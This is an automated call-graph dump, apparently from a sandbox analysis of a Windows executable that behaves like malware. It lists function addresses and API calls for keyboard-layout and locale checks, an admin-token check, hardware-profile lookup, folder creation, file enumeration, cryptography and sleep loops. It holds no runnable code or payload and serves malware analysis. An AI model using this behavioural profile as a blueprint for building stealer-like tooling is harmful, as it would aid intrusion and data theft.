API calls 34537->34975 34540 4026b0 27 API calls 34538->34540 34542 404cb6 34540->34542 34541 404c32 34976 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34541->34976 34544 404490 87 API calls 34542->34544 34546 404cbe 34544->34546 34545 404d00 std::ios_base::_Ios_base_dtor 34547 40ebbf CatchGuardHandler 5 API calls 34545->34547 34546->34513 34546->34545 34548 404d23 34547->34548 34549 404f20 34548->34549 34998 404d40 GetKeyboardLayoutList 34549->34998 34551 40bb90 69 API calls 34566 404f63 std::ios_base::_Ios_base_dtor 34551->34566 34553 40ebbf CatchGuardHandler 5 API calls 34554 405240 34553->34554 34568 402410 34554->34568 34555 40519a 34556 4051de std::ios_base::_Ios_base_dtor 34555->34556 34558 405244 34555->34558 34556->34553 34559 413527 25 API calls 34558->34559 34561 405249 34559->34561 34560 4026b0 27 API calls 34560->34566 34563 413527 25 API calls 34561->34563 34564 40524e 34563->34564 34566->34551 34566->34560 34566->34561 34567 405182 std::ios_base::_Ios_base_dtor 34566->34567 35027 40ef48 6 API calls 34566->35027 35028 40f25b 28 API calls 34566->35028 35029 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34566->35029 34567->34556 34567->34561 35030 40d380 25 API calls std::ios_base::_Ios_base_dtor 34567->35030 34569 402420 34568->34569 34569->34569 34570 4026b0 27 API calls 34569->34570 34571 402432 34570->34571 34572 406aa0 34571->34572 35036 4065e0 GetCurrentProcess OpenProcessToken 34572->35036 34574 406b20 34575 407e48 34574->34575 34576 406b28 SHGetFolderPathA 34574->34576 34578 406760 41 API calls 34575->34578 34577 406b63 34576->34577 34583 406b41 34576->34583 34579 418b65 42 API calls 34577->34579 34580 407e53 34578->34580 34579->34583 34581 417df6 38 API calls 34580->34581 34582 407e5c 34581->34582 34585 4055c0 40 API calls 34582->34585 34584 4026b0 27 API calls 34583->34584 34586 406b8d 34584->34586 34587 407e72 34585->34587 35046 406760 GetCurrentHwProfileA 34586->35046 34593 407ed8 34587->34593 35620 40ef48 6 API calls 34587->35620 34589 406b98 34591 417df6 38 API calls 34589->34591 34594 406ba1 34591->34594 34592 407e9c 34592->34593 35621 40f25b 28 API calls 34592->35621 34595 4026b0 27 API calls 34593->34595 35059 4055c0 34594->35059 34598 407f4b 34595->34598 34601 407f64 34598->34601 35623 402980 27 API calls 4 library calls 34598->35623 34600 407ecb 35622 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34600->35622 34606 40c990 27 API calls 34601->34606 34605 406bcd 35080 40c990 34605->35080 34608 40800e 34606->34608 34610 402490 25 API calls 34608->34610 34609 406be8 35084 402490 34609->35084 34619 40801d std::ios_base::_Ios_base_dtor 34610->34619 34612 406c80 std::ios_base::_Ios_base_dtor 34615 40bb90 69 API calls 34612->34615 34613 408ce5 34617 413527 25 API calls 34613->34617 34614 406bf7 std::ios_base::_Ios_base_dtor 34614->34612 34614->34613 34620 406ca1 34615->34620 34616 408cea 34618 413527 25 API calls 34616->34618 34617->34616 34622 408cef 34618->34622 34619->34616 34621 40bb90 69 API calls 34619->34621 34623 40bb90 69 API calls 34620->34623 34624 408120 34621->34624 34625 413527 25 API calls 34622->34625 34626 406cb6 34623->34626 34627 40bb90 69 API calls 34624->34627 34629 408cf4 34625->34629 35089 406800 CreateDirectoryA 34626->35089 34628 408135 34627->34628 34632 406800 270 API calls 34628->34632 35401 405f40 34629->35401 34631 406cbf 34633 406cca 34631->34633 34634 406f0f 34631->34634 34635 40813e 34632->34635 34637 40c770 27 API calls 34633->34637 34650 406f71 34634->34650 35605 40ef48 6 API calls 34634->35605 34640 40c770 27 API calls 34635->34640 34707 40818e std::ios_base::_Ios_base_dtor 34635->34707 34639 406cdc 34637->34639 34645 40c990 27 API calls 34639->34645 34646 40815b 34640->34646 34642 408d44 34643 408d6a 34642->34643 34653 417df6 38 API calls 34642->34653 35458 401960 34643->35458 34651 406cf7 34645->34651 34652 40c990 27 API calls 34646->34652 34648 406f35 34648->34650 35606 40f25b 28 API calls 34648->35606 34649 408d7d 35462 409340 34649->35462 34655 4026b0 27 API calls 34650->34655 34840 406d0f std::ios_base::_Ios_base_dtor 34651->34840 35604 402980 27 API calls 4 library calls 34651->35604 34656 408176 34652->34656 34658 408d55 Sleep 34653->34658 34662 406fea 34655->34662 34656->34707 35624 402980 27 API calls 4 library calls 34656->35624 34659 405f40 47 API calls 34658->34659 34659->34642 34660 408d86 34671 402510 27 API calls 34660->34671 34661 4026b0 27 API calls 34661->34707 34666 407003 34662->34666 35608 402980 27 API calls 4 library calls 34662->35608 34665 406f64 35607 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34665->35607 34673 40c990 27 API calls 34666->34673 34674 408d99 34671->34674 34672 402980 27 API calls 34672->34707 34676 4070ad 34673->34676 35472 409290 34674->35472 34675 40c990 27 API calls 34675->34707 34678 402490 25 API calls 34676->34678 34686 4070bc std::ios_base::_Ios_base_dtor 34678->34686 34679 408da4 34683 402510 27 API calls 34679->34683 34680 402490 25 API calls 34680->34707 34681 40ebbf CatchGuardHandler 5 API calls 34682 408cde 34681->34682 34682->34223 34684 408db7 34683->34684 35482 4091e0 34684->35482 34685 40bb90 69 API calls 34688 4071bf 34685->34688 34686->34622 34686->34685 34690 40bb90 69 API calls 34688->34690 34689 408dc2 34695 402510 27 API calls 34689->34695 34692 4071d4 34690->34692 34691 40bb90 69 API calls 34691->34707 34693 406800 270 API calls 34692->34693 34696 4071dd 34693->34696 34694 406800 270 API calls 34694->34707 34697 408dd5 34695->34697 34698 4073d8 34696->34698 34699 4071e8 34696->34699 35492 40c930 34697->35492 34712 407473 34698->34712 35610 40ef48 6 API calls 34698->35610 34702 40c770 27 API calls 34699->34702 34700 408878 34718 4088dd 34700->34718 35628 40ef48 6 API calls 34700->35628 34705 4071fa 34702->34705 34703 40c770 27 API calls 34703->34707 34710 40c990 27 API calls 34705->34710 34707->34616 34707->34661 34707->34672 34707->34675 34707->34680 34707->34691 34707->34694 34707->34700 34707->34703 34707->34840 35625 40ef48 6 API calls 34707->35625 35626 40f25b 28 API calls 34707->35626 35627 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34707->35627 34709 40c990 27 API calls 34714 408e02 34709->34714 34715 407215 34710->34715 34711 40741d 34711->34712 35611 40f25b 28 API calls 34711->35611 34716 4026b0 27 API calls 34712->34716 34713 4088a3 34713->34718 35629 40f25b 28 API calls 34713->35629 35496 40ca40 34714->35496 34715->34840 35609 402980 27 API calls 4 library calls 34715->35609 34721 4074da 34716->34721 34724 4026b0 27 API calls 34718->34724 34727 4074f3 34721->34727 35613 402980 27 API calls 4 library calls 34721->35613 34730 40896a 34724->34730 34725 407466 35612 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34725->35612 34736 40c990 27 API calls 34727->34736 34728 4088d0 35630 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34728->35630 34729 40ca40 27 API calls 34734 408e2c 34729->34734 34731 408983 34730->34731 35631 402980 27 API calls 4 library calls 34730->35631 34739 40c990 27 API calls 34731->34739 34737 40c990 27 API calls 34734->34737 34740 40759d 34736->34740 34738 408e42 34737->34738 34741 402440 25 API calls 34738->34741 34742 408a2d 34739->34742 34743 402490 25 API calls 34740->34743 34744 408e50 34741->34744 34745 402490 25 API calls 34742->34745 34752 4075ac std::ios_base::_Ios_base_dtor 34743->34752 34746 402440 25 API calls 34744->34746 34758 408a3c std::ios_base::_Ios_base_dtor 34745->34758 34748 408e5b 34746->34748 34747 406f0a std::ios_base::_Ios_base_dtor 34747->34681 34749 402440 25 API calls 34748->34749 34751 408e66 34749->34751 34750 40bb90 69 API calls 34753 4076af 34750->34753 34754 402440 25 API calls 34751->34754 34752->34616 34752->34750 34756 40bb90 69 API calls 34753->34756 34757 408e71 34754->34757 34755 40bb90 69 API calls 34759 408b3f 34755->34759 34760 4076c4 34756->34760 34761 402440 25 API calls 34757->34761 34758->34616 34758->34755 34762 40bb90 69 API calls 34759->34762 34763 406800 270 API calls 34760->34763 34764 408e7c 34761->34764 34765 408b54 34762->34765 34766 4076cd 34763->34766 34767 402440 25 API calls 34764->34767 34768 406800 270 API calls 34765->34768 34769 4078c8 34766->34769 34770 4076d8 34766->34770 34771 408e87 34767->34771 34772 408b5d 34768->34772 34787 40792d 34769->34787 35615 40ef48 6 API calls 34769->35615 34775 40c770 27 API calls 34770->34775 34776 402440 25 API calls 34771->34776 34773 408c94 34772->34773 34774 408b68 34772->34774 34780 402440 25 API calls 34773->34780 34777 40c770 27 API calls 34774->34777 34778 4076ea 34775->34778 34818 408e96 34776->34818 34781 408b7a 34777->34781 34782 40c990 27 API calls 34778->34782 34784 408c9f 34780->34784 34785 40c990 27 API calls 34781->34785 34786 407705 34782->34786 34783 4078f3 34783->34787 35616 40f25b 28 API calls 34783->35616 34788 402440 25 API calls 34784->34788 34835 407e39 std::ios_base::_Ios_base_dtor 34784->34835 34789 408b95 34785->34789 34786->34840 35614 402980 27 API calls 4 library calls 34786->35614 34792 4026b0 27 API calls 34787->34792 34788->34835 34808 408bad 34789->34808 35632 402980 27 API calls 4 library calls 34789->35632 34790 402510 27 API calls 34793 408c92 34790->34793 34796 4079ba 34792->34796 34798 402440 25 API calls 34793->34798 34794 407920 35617 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34794->35617 34800 4079d3 34796->34800 35618 402980 27 API calls 4 library calls 34796->35618 34798->34747 34805 40c990 27 API calls 34800->34805 34801 408eef 34803 408f18 Sleep 34801->34803 34807 417df6 38 API calls 34801->34807 34826 402440 25 API calls 34801->34826 34803->34818 34804 408c4c std::ios_base::_Ios_base_dtor 34809 402440 25 API calls 34804->34809 34806 407a7d 34805->34806 34810 402490 25 API calls 34806->34810 34811 408f04 Sleep 34807->34811 34808->34616 34808->34804 34812 408c7c 34809->34812 34821 407a8c std::ios_base::_Ios_base_dtor 34810->34821 34811->34818 34814 402440 25 API calls 34812->34814 34813 402510 27 API calls 34813->34818 34815 408c87 34814->34815 34816 402440 25 API calls 34815->34816 34816->34793 34817 408f2b 34820 402440 25 API calls 34817->34820 34818->34801 34818->34813 34818->34817 34819 40bb90 69 API calls 34822 407b8f 34819->34822 34823 408f33 34820->34823 34821->34616 34821->34819 34824 40bb90 69 API calls 34822->34824 34828 401960 27 API calls 34823->34828 34825 407ba4 34824->34825 34827 406800 270 API calls 34825->34827 34826->34801 34829 407bad 34827->34829 34844 408f52 34828->34844 34830 407bb8 34829->34830 34834 407da8 std::ios_base::_Ios_base_dtor 34829->34834 34832 40c770 27 API calls 34830->34832 34833 407bca 34832->34833 34836 40c990 27 API calls 34833->34836 34834->34616 34834->34835 34835->34790 34837 407be5 34836->34837 34837->34840 35619 402980 27 API calls 4 library calls 34837->35619 34838 402510 27 API calls 34838->34844 34840->34616 34840->34747 34841 40c930 27 API calls 34841->34844 34842 402440 25 API calls 34842->34844 34843 408fe3 Sleep 34843->34844 34844->34838 34844->34841 34844->34842 34844->34843 34845 402410 27 API calls 34844->34845 34846 408fef 34844->34846 35499 4093d0 34844->35499 34845->34844 34847 401960 27 API calls 34846->34847 34858 409004 34847->34858 34849 402510 27 API calls 34849->34858 34850 40c930 27 API calls 34850->34858 34851 402440 25 API calls 34851->34858 34852 409138 34853 4054c0 47 API calls 34852->34853 34855 4091db 34853->34855 34854 4162ee 15 API calls ___std_exception_copy 34854->34858 34856 40bb90 69 API calls 34856->34858 34858->34849 34858->34850 34858->34851 34858->34852 34858->34854 34858->34856 34860 40913d 34858->34860 35509 409460 34858->35509 35519 403770 CryptAcquireContextW 34858->35519 35545 402b60 34858->35545 34861 4091b2 Sleep 34860->34861 34862 4091cf Sleep 34860->34862 35554 10002450 34860->35554 34861->34852 34861->34860 34862->34852 34865 40671f 34864->34865 34866 40673d std::ios_base::_Ios_base_dtor 34864->34866 34865->34866 34868 406758 34865->34868 34867 40ebbf CatchGuardHandler 5 API calls 34866->34867 34869 406754 34867->34869 34870 413527 25 API calls 34868->34870 34869->34233 34871 40675d 34870->34871 34872->34213 34875 418a79 __FrameHandler3::FrameUnwindToState 34874->34875 34876 418a8c 34875->34876 34879 418ab2 34875->34879 34977 4135f1 14 API calls __dosmaperr 34876->34977 34878 418a91 34978 413517 25 API calls __cftof 34878->34978 34979 418bb1 EnterCriticalSection 34879->34979 34882 418a9c 34882->34505 34883 418abd 34980 418af8 42 API calls __strnicoll 34883->34980 34885 418ac8 34981 418aef LeaveCriticalSection std::_Lockit::~_Lockit 34885->34981 34888 40bb90 69 API calls 34887->34888 34889 404509 34888->34889 34890 40451c 34889->34890 34982 402980 27 API calls 4 library calls 34889->34982 34891 40455a FindFirstFileA 34890->34891 34909 40465b std::ios_base::_Ios_base_dtor 34891->34909 34910 40457e std::ios_base::_Ios_base_dtor 34891->34910 34893 40bb90 69 API calls 34893->34909 34894 4026b0 27 API calls 34894->34910 34896 4047c5 std::ios_base::_Ios_base_dtor 34899 40ebbf CatchGuardHandler 5 API calls 34896->34899 34897 404827 34900 413527 25 API calls 34897->34900 34898 404740 std::ios_base::_Ios_base_dtor 34898->34896 34898->34897 34901 404820 34899->34901 34902 40482c 34900->34902 34901->34525 34905 413527 25 API calls 34902->34905 34904 404642 FindNextFileA 34907 404654 FindClose 34904->34907 34904->34910 34908 404831 34905->34908 34906 4046e8 std::ios_base::_Ios_base_dtor 34906->34897 34906->34898 34906->34902 34984 40d3f0 25 API calls std::ios_base::_Ios_base_dtor 34906->34984 34907->34909 34913 4048ea 34908->34913 34985 40ef48 6 API calls 34908->34985 34909->34893 34909->34902 34909->34906 34910->34894 34910->34897 34910->34904 34983 40ce50 27 API calls 3 library calls 34910->34983 34912 4048b2 34912->34913 34986 40f25b 28 API calls 34912->34986 34915 4026b0 27 API calls 34913->34915 34917 404947 34915->34917 34916 4048dd 34987 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34916->34987 34919 418b65 42 API calls 34917->34919 34920 40495f 34919->34920 34921 4026b0 27 API calls 34920->34921 34922 404995 34921->34922 34923 4049c3 std::ios_base::_Ios_base_dtor 34922->34923 34924 404d2a 34922->34924 34926 4049f5 _Yarn 34923->34926 34988 402980 27 API calls 4 library calls 34923->34988 34927 413527 25 API calls 34924->34927 34933 404a88 34926->34933 34989 40ef48 6 API calls 34926->34989 34928 404d2f 34927->34928 34930 413527 25 API calls 34928->34930 34932 404d34 34930->34932 34931 404a50 34931->34933 34990 40f25b 28 API calls 34931->34990 34935 4026b0 27 API calls 34933->34935 34937 404b0a 34935->34937 34936 404a7b 34991 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34936->34991 34939 404490 84 API calls 34937->34939 34940 404b12 34939->34940 34943 404b6f 34940->34943 34992 40ef48 6 API calls 34940->34992 34942 404b36 34942->34943 34993 40f25b 28 API calls 34942->34993 34945 4026b0 27 API calls 34943->34945 34947 404bd6 34945->34947 34946 404b62 34994 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34946->34994 34949 404490 84 API calls 34947->34949 34950 404bde 34949->34950 34953 404c3f 34950->34953 34995 40ef48 6 API calls 34950->34995 34952 404c04 34952->34953 34996 40f25b 28 API calls 34952->34996 34955 4026b0 27 API calls 34953->34955 34957 404cb6 34955->34957 34956 404c32 34997 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 34956->34997 34959 404490 84 API calls 34957->34959 34961 404cbe 34959->34961 34960 404d00 std::ios_base::_Ios_base_dtor 34962 40ebbf CatchGuardHandler 5 API calls 34960->34962 34961->34928 34961->34960 34963 404d23 34962->34963 34963->34525 34964->34497 34965->34501 34966->34498 34967->34511 34968->34516 34969->34521 34970->34518 34971->34527 34972->34531 34973->34528 34974->34537 34975->34541 34976->34538 34977->34878 34978->34882 34979->34883 34980->34885 34981->34882 34982->34891 34983->34910 34984->34898 34985->34912 34986->34916 34987->34913 34988->34926 34989->34931 34990->34936 34991->34933 34992->34942 34993->34946 34994->34943 34995->34952 34996->34956 34997->34953 34999 404efa 34998->34999 35005 404dee std::ios_base::_Ios_base_dtor 34998->35005 35001 40ebbf CatchGuardHandler 5 API calls 34999->35001 35000 404df0 GetLocaleInfoA 35000->35005 35002 404f13 35001->35002 35002->34566 35003 4026b0 27 API calls 35003->35005 35005->34999 35005->35000 35005->35003 35006 404f1a 35005->35006 35031 40cc40 27 API calls 3 library calls 35005->35031 35007 413527 25 API calls 35006->35007 35008 404f1f 35007->35008 35009 404d40 82 API calls 35008->35009 35025 404f63 std::ios_base::_Ios_base_dtor 35009->35025 35010 40bb90 69 API calls 35010->35025 35012 40ebbf CatchGuardHandler 5 API calls 35013 405240 35012->35013 35013->34566 35014 40519a 35015 4051de std::ios_base::_Ios_base_dtor 35014->35015 35017 405244 35014->35017 35015->35012 35018 413527 25 API calls 35017->35018 35020 405249 35018->35020 35019 4026b0 27 API calls 35019->35025 35022 413527 25 API calls 35020->35022 35023 40524e 35022->35023 35025->35010 35025->35019 35025->35020 35026 405182 std::ios_base::_Ios_base_dtor 35025->35026 35032 40ef48 6 API calls 35025->35032 35033 40f25b 28 API calls 35025->35033 35034 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35025->35034 35026->35015 35026->35020 35035 40d380 25 API calls std::ios_base::_Ios_base_dtor 35026->35035 35027->34566 35028->34566 35029->34566 35030->34555 35031->35005 35032->35025 35033->35025 35034->35025 35035->35014 35037 406614 GetTokenInformation 35036->35037 35038 406636 35036->35038 35039 406630 CloseHandle 35037->35039 35040 406646 CloseHandle AllocateAndInitializeSid 35037->35040 35041 40ebbf CatchGuardHandler 5 API calls 35038->35041 35039->35038 35040->35038 35043 406670 EqualSid FreeSid 35040->35043 35042 406642 35041->35042 35042->34574 35044 40ebbf CatchGuardHandler 5 API calls 35043->35044 35045 406695 35044->35045 35045->34574 35047 406790 35046->35047 35048 4067d6 35046->35048 35052 4026b0 27 API calls 35047->35052 35049 417df6 38 API calls 35048->35049 35050 4067db 35049->35050 35051 4055c0 40 API calls 35050->35051 35053 4067ed 35051->35053 35054 4067c5 35052->35054 35055 40ebbf CatchGuardHandler 5 API calls 35053->35055 35056 40ebbf CatchGuardHandler 5 API calls 35054->35056 35057 4067fa 35055->35057 35058 4067d2 35056->35058 35057->34589 35058->34589 35633 40b9d0 35059->35633 35061 405624 35062 405681 35061->35062 35063 417df6 38 API calls 35061->35063 35647 40d240 27 API calls 4 library calls 35061->35647 35065 40c770 35062->35065 35063->35061 35066 40c869 35065->35066 35070 40c79a 35065->35070 35650 401950 27 API calls 35066->35650 35068 40c812 _Yarn 35068->34605 35069 40c86e 35651 4018b0 27 API calls 3 library calls 35069->35651 35070->35068 35073 40c820 35070->35073 35074 40c7fe 35070->35074 35072 40c80b 35072->35068 35075 413527 25 API calls 35072->35075 35073->35068 35078 40edcf std::_Facet_Register 27 API calls 35073->35078 35074->35069 35076 40c805 35074->35076 35077 40c878 35075->35077 35079 40edcf std::_Facet_Register 27 API calls 35076->35079 35078->35068 35079->35072 35081 40c9a9 35080->35081 35082 40c9bd _Yarn 35081->35082 35652 402980 27 API calls 4 library calls 35081->35652 35082->34609 35085 4024c1 std::ios_base::_Ios_base_dtor 35084->35085 35086 40249e 35084->35086 35085->34614 35086->35085 35087 413527 25 API calls 35086->35087 35088 40250c 35087->35088 35090 406859 GetLastError 35089->35090 35091 40686a 35089->35091 35090->35091 35097 4069ff std::ios_base::_Ios_base_dtor 35090->35097 35092 40c770 27 API calls 35091->35092 35093 406876 35092->35093 35094 40c990 27 API calls 35093->35094 35095 406888 35094->35095 35101 4068a0 35095->35101 35666 402980 27 API calls 4 library calls 35095->35666 35096 406a74 std::ios_base::_Ios_base_dtor 35096->34631 35097->35096 35098 413527 25 API calls 35097->35098 35100 406a9e 35098->35100 35103 4065e0 13 API calls 35100->35103 35653 413d5d 35101->35653 35104 406b20 35103->35104 35105 407e48 35104->35105 35106 406b28 SHGetFolderPathA 35104->35106 35110 406760 41 API calls 35105->35110 35108 406b63 35106->35108 35118 406b41 35106->35118 35107 4069c7 std::ios_base::_Ios_base_dtor 35107->35097 35656 418608 35107->35656 35113 418b65 42 API calls 35108->35113 35109 406a94 35111 413527 25 API calls 35109->35111 35114 407e53 35110->35114 35111->35097 35112 40690c std::ios_base::_Ios_base_dtor 35112->35107 35112->35109 35113->35118 35115 417df6 38 API calls 35114->35115 35117 407e5c 35115->35117 35121 4055c0 40 API calls 35117->35121 35120 4026b0 27 API calls 35118->35120 35119 4069f9 35667 413f7d 68 API calls 4 library calls 35119->35667 35123 406b8d 35120->35123 35124 407e72 35121->35124 35125 406760 41 API calls 35123->35125 35130 407ed8 35124->35130 35684 40ef48 6 API calls 35124->35684 35126 406b98 35125->35126 35128 417df6 38 API calls 35126->35128 35131 406ba1 35128->35131 35129 407e9c 35129->35130 35685 40f25b 28 API calls 35129->35685 35132 4026b0 27 API calls 35130->35132 35133 4055c0 40 API calls 35131->35133 35135 407f4b 35132->35135 35136 406bb7 35133->35136 35138 407f64 35135->35138 35687 402980 27 API calls 4 library calls 35135->35687 35139 40c770 27 API calls 35136->35139 35137 407ecb 35686 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35137->35686 35143 40c990 27 API calls 35138->35143 35142 406bcd 35139->35142 35144 40c990 27 API calls 35142->35144 35145 40800e 35143->35145 35146 406be8 35144->35146 35147 402490 25 API calls 35145->35147 35148 402490 25 API calls 35146->35148 35156 40801d std::ios_base::_Ios_base_dtor 35147->35156 35151 406bf7 std::ios_base::_Ios_base_dtor 35148->35151 35149 406c80 std::ios_base::_Ios_base_dtor 35152 40bb90 69 API calls 35149->35152 35150 408ce5 35154 413527 25 API calls 35150->35154 35151->35149 35151->35150 35157 406ca1 35152->35157 35153 408cea 35155 413527 25 API calls 35153->35155 35154->35153 35159 408cef 35155->35159 35156->35153 35158 40bb90 69 API calls 35156->35158 35160 40bb90 69 API calls 35157->35160 35161 408120 35158->35161 35162 413527 25 API calls 35159->35162 35163 406cb6 35160->35163 35164 40bb90 69 API calls 35161->35164 35166 408cf4 35162->35166 35167 406800 261 API calls 35163->35167 35165 408135 35164->35165 35169 406800 261 API calls 35165->35169 35173 405f40 47 API calls 35166->35173 35168 406cbf 35167->35168 35170 406cca 35168->35170 35171 406f0f 35168->35171 35172 40813e 35169->35172 35174 40c770 27 API calls 35170->35174 35187 406f71 35171->35187 35669 40ef48 6 API calls 35171->35669 35177 40c770 27 API calls 35172->35177 35245 40818e std::ios_base::_Ios_base_dtor 35172->35245 35175 408d3a 35173->35175 35176 406cdc 35174->35176 35179 408d44 35175->35179 35180 408d6a 35175->35180 35182 40c990 27 API calls 35176->35182 35183 40815b 35177->35183 35179->35180 35190 417df6 38 API calls 35179->35190 35181 401960 27 API calls 35180->35181 35186 408d7d 35181->35186 35188 406cf7 35182->35188 35189 40c990 27 API calls 35183->35189 35185 406f35 35185->35187 35670 40f25b 28 API calls 35185->35670 35191 409340 39 API calls 35186->35191 35192 4026b0 27 API calls 35187->35192 35193 406d0f std::ios_base::_Ios_base_dtor 35188->35193 35668 402980 27 API calls 4 library calls 35188->35668 35194 408176 35189->35194 35196 408d55 Sleep 35190->35196 35198 408d86 35191->35198 35200 406fea 35192->35200 35193->35153 35286 406f0a std::ios_base::_Ios_base_dtor 35193->35286 35194->35245 35688 402980 27 API calls 4 library calls 35194->35688 35197 405f40 47 API calls 35196->35197 35197->35179 35209 402510 27 API calls 35198->35209 35199 4026b0 27 API calls 35199->35245 35204 407003 35200->35204 35672 402980 27 API calls 4 library calls 35200->35672 35203 406f64 35671 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35203->35671 35211 40c990 27 API calls 35204->35211 35212 408d99 35209->35212 35210 402980 27 API calls 35210->35245 35214 4070ad 35211->35214 35215 409290 39 API calls 35212->35215 35213 40c990 27 API calls 35213->35245 35216 402490 25 API calls 35214->35216 35217 408da4 35215->35217 35225 4070bc std::ios_base::_Ios_base_dtor 35216->35225 35221 402510 27 API calls 35217->35221 35218 402490 25 API calls 35218->35245 35219 40ebbf CatchGuardHandler 5 API calls 35220 408cde 35219->35220 35220->34631 35222 408db7 35221->35222 35226 4091e0 39 API calls 35222->35226 35223 40bb90 69 API calls 35227 4071bf 35223->35227 35224 40bb90 69 API calls 35224->35245 35225->35159 35225->35223 35228 408dc2 35226->35228 35229 40bb90 69 API calls 35227->35229 35233 402510 27 API calls 35228->35233 35230 4071d4 35229->35230 35231 406800 261 API calls 35230->35231 35234 4071dd 35231->35234 35232 406800 261 API calls 35232->35245 35235 408dd5 35233->35235 35236 4073d8 35234->35236 35237 4071e8 35234->35237 35239 40c930 27 API calls 35235->35239 35250 407473 35236->35250 35674 40ef48 6 API calls 35236->35674 35240 40c770 27 API calls 35237->35240 35238 408878 35256 4088dd 35238->35256 35692 40ef48 6 API calls 35238->35692 35242 408dea 35239->35242 35243 4071fa 35240->35243 35241 40c770 27 API calls 35241->35245 35247 40c990 27 API calls 35242->35247 35248 40c990 27 API calls 35243->35248 35245->35153 35245->35193 35245->35199 35245->35210 35245->35213 35245->35218 35245->35224 35245->35232 35245->35238 35245->35241 35689 40ef48 6 API calls 35245->35689 35690 40f25b 28 API calls 35245->35690 35691 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35245->35691 35252 408e02 35247->35252 35253 407215 35248->35253 35249 40741d 35249->35250 35675 40f25b 28 API calls 35249->35675 35254 4026b0 27 API calls 35250->35254 35251 4088a3 35251->35256 35693 40f25b 28 API calls 35251->35693 35255 40ca40 27 API calls 35252->35255 35253->35193 35673 402980 27 API calls 4 library calls 35253->35673 35259 4074da 35254->35259 35261 408e17 35255->35261 35262 4026b0 27 API calls 35256->35262 35265 4074f3 35259->35265 35677 402980 27 API calls 4 library calls 35259->35677 35267 40ca40 27 API calls 35261->35267 35268 40896a 35262->35268 35263 407466 35676 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35263->35676 35274 40c990 27 API calls 35265->35274 35266 4088d0 35694 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35266->35694 35272 408e2c 35267->35272 35269 408983 35268->35269 35695 402980 27 API calls 4 library calls 35268->35695 35277 40c990 27 API calls 35269->35277 35275 40c990 27 API calls 35272->35275 35278 40759d 35274->35278 35276 408e42 35275->35276 35279 402440 25 API calls 35276->35279 35280 408a2d 35277->35280 35281 402490 25 API calls 35278->35281 35282 408e50 35279->35282 35283 402490 25 API calls 35280->35283 35290 4075ac std::ios_base::_Ios_base_dtor 35281->35290 35284 402440 25 API calls 35282->35284 35296 408a3c std::ios_base::_Ios_base_dtor 35283->35296 35285 408e5b 35284->35285 35287 402440 25 API calls 35285->35287 35286->35219 35289 408e66 35287->35289 35288 40bb90 69 API calls 35291 4076af 35288->35291 35292 402440 25 API calls 35289->35292 35290->35153 35290->35288 35294 40bb90 69 API calls 35291->35294 35295 408e71 35292->35295 35293 40bb90 69 API calls 35297 408b3f 35293->35297 35298 4076c4 35294->35298 35299 402440 25 API calls 35295->35299 35296->35153 35296->35293 35300 40bb90 69 API calls 35297->35300 35301 406800 261 API calls 35298->35301 35302 408e7c 35299->35302 35303 408b54 35300->35303 35304 4076cd 35301->35304 35305 402440 25 API calls 35302->35305 35306 406800 261 API calls 35303->35306 35307 4076d8 35304->35307 35313 4078c8 35304->35313 35308 408e87 35305->35308 35309 408b5d 35306->35309 35312 40c770 27 API calls 35307->35312 35314 402440 25 API calls 35308->35314 35310 408c94 35309->35310 35311 408b68 35309->35311 35318 402440 25 API calls 35310->35318 35315 40c770 27 API calls 35311->35315 35316 4076ea 35312->35316 35325 40792d 35313->35325 35679 40ef48 6 API calls 35313->35679 35356 408e96 35314->35356 35319 408b7a 35315->35319 35320 40c990 27 API calls 35316->35320 35322 408c9f 35318->35322 35323 40c990 27 API calls 35319->35323 35324 407705 35320->35324 35321 4078f3 35321->35325 35680 40f25b 28 API calls 35321->35680 35326 402440 25 API calls 35322->35326 35373 407e39 std::ios_base::_Ios_base_dtor 35322->35373 35327 408b95 35323->35327 35324->35193 35678 402980 27 API calls 4 library calls 35324->35678 35330 4026b0 27 API calls 35325->35330 35326->35373 35346 408bad 35327->35346 35696 402980 27 API calls 4 library calls 35327->35696 35328 402510 27 API calls 35331 408c92 35328->35331 35334 4079ba 35330->35334 35336 402440 25 API calls 35331->35336 35332 407920 35681 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35332->35681 35338 4079d3 35334->35338 35682 402980 27 API calls 4 library calls 35334->35682 35336->35286 35343 40c990 27 API calls 35338->35343 35339 408eef 35341 408f18 Sleep 35339->35341 35345 417df6 38 API calls 35339->35345 35364 402440 25 API calls 35339->35364 35341->35356 35342 408c4c std::ios_base::_Ios_base_dtor 35347 402440 25 API calls 35342->35347 35344 407a7d 35343->35344 35348 402490 25 API calls 35344->35348 35349 408f04 Sleep 35345->35349 35346->35153 35346->35342 35350 408c7c 35347->35350 35359 407a8c std::ios_base::_Ios_base_dtor 35348->35359 35349->35356 35352 402440 25 API calls 35350->35352 35351 402510 27 API calls 35351->35356 35353 408c87 35352->35353 35354 402440 25 API calls 35353->35354 